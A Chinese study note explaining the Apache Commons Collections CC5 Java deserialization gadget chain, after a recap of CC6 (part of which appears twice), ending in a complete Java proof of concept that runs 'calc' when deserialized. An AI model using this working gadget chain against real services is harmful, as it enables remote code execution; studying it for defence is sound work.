之前分析过了cc6 cc5只不过和cc6链子入口点不一样
先总结下cc6
1. 造炸弹:组装恶意代码链条 核心武器 :ChainedTransformer
(链条转换器)
通过反射调用Runtime.getRuntime().exec("calc")
,相当于把弹计算器的指令拆成四步:
Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , ...), new InvokerTransformer ("invoke" , ...), new InvokerTransformer ("exec" , ...) };
作用 :这四步像流水线一样串联,最终执行命令
大白话解释CC6链的触发流程 CC6链就像在快递包裹里藏了一个全自动炸弹 ,当目标服务器拆开包裹(反序列化数据)时,会触发一系列连锁反应,最终执行恶意命令(如弹计算器)。以下是通俗拆解:
1. 造炸弹:组装恶意代码链条 -
核心武器
:
(链条转换器)
通过反射调用
Runtime.getRuntime().exec("calc")
相当于把弹计算器的指令拆成四步:
Transformer[] transformers = { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , ...), new InvokerTransformer ("invoke" , ...), new InvokerTransformer ("exec" , ...) };
作用 :这四步像流水线一样串联,最终执行命令。
2. 伪装炸弹:LazyMap的“懒加载”特性 机关设置 :LazyMap
(懒加载地图)
当调用LazyMap.get("不存在的key")
时,如果key
不存在,就会触发预设的恶意链条(ChainedTransformer
)。
Map lazyMap = LazyMap.decorate(new HashMap (), chain);
问题 :直接调用get
会提前触发炸弹,需后续绕过
3. 设置触发开关:TiedMapEntry的hashCode 关键跳板 :TiedMapEntry
(绑定地图的入口)
把LazyMap
和一个假key
(如"fakeKey"
)绑定到TiedMapEntry
中
TiedMapEntry entry = new TiedMapEntry (lazyMap, "fakeKey" );
触发逻辑 :
当调用entry.hashCode()
时,内部会执行getValue()
→ lazyMap.get("fakeKey")
→ 触发炸弹。
4. 绕过提前爆炸:反射修改LazyMap的工厂 坑点 :初始化LazyMap
时若直接绑定恶意链条,测试时会提前弹计算器
Map lazyMap = LazyMap.decorate(new HashMap (), new ConstantTransformer (1 )); Field factoryField = lazyMap.getClass().getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chain);
确保炸弹只在反序列化时引爆
5. 自动引爆:HashMap的反序列化机制 最终机关 :HashMap
的readObject
方法
HashMap map = new HashMap (); map.put(entry, "任意值" );
CC6是利用TiedMapEntry
中的hashCode
函数;CC5是利用TiedMapEntry
中的toString
函数;为什么还可以利用toString
方法;其实也就是因为toString
也调用了调用了getValue
方法的原因
public String toString () { return getKey() + "=" + getValue(); } public Object getValue () { return map.get(key); }
BadAttributeValueExpException
这个类的readObject调用valObj.toString()
,valObj
的值是可控的;尽管BadAttributeValueExpException
没有实现 Serializable
接口的情况下,任然可以序列化
POC
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class cc5 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "deadbeef" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class bclass = badAttributeValueExpException.getClass(); Field val = bclass.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static void unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("ser.bin" )); ois.readObject(); } }